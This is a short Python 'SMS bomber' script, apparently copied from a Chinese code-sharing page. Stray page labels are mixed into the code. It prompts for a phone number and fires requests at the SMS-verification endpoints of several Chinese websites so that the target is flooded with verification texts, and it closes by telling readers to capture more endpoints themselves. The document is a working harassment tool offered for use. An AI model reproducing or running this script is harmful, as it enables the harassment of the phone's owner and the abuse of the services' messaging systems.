`import requests num = input("输入电话号码:") number = int(num) headers = {
代码语言:javascript复制"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Edg/94.0.992.50"
} url = {f'https://member.chinaacc.com/api/SmsCode.shtm?jsonpCallback=success_jsonpCallback&siteId=3&mobilePhone={number}', f'https://m.jiguo.com/mb/api/validatecode/color/mb.html?d=0.7554753933168952&vcode=tel={number}', f'https://www.plaso.cn/plaso/servlet/randomCode?0.47652275536418554&type=loginrandom={number}', f'https://mp.66law.cn/Common/GetValidateCode?time=1574424867777mobilePhone={number}', f'https://khweb.easec.com.cn:12203/nImgServlet?key=0.17275703431645484&funcNo=501520&op_source=3&flow_type=twvideo&ip=&mac=&verify_code=mobile_no={number}', f'https://www.sogou.com/websearch/phoneAddress.jsp?phoneNumber={number}', f'https://khweb.easec.com.cn:12203/nImgServlet?key=0.17275703431645484&funcNo=501520&op_source=3&flow_type=twvideo&ip=&mac=&verify_code=mobile_no={number}', f'https://member.chinaacc.com/api/SmsCode.shtm?jsonpCallback=success_jsonpCallback&siteId=3&mobilePhone={number}'
} for it in url:
代码语言:javascript复制resp = requests.get(it,headers=headers)
print("over") `
接口自己抓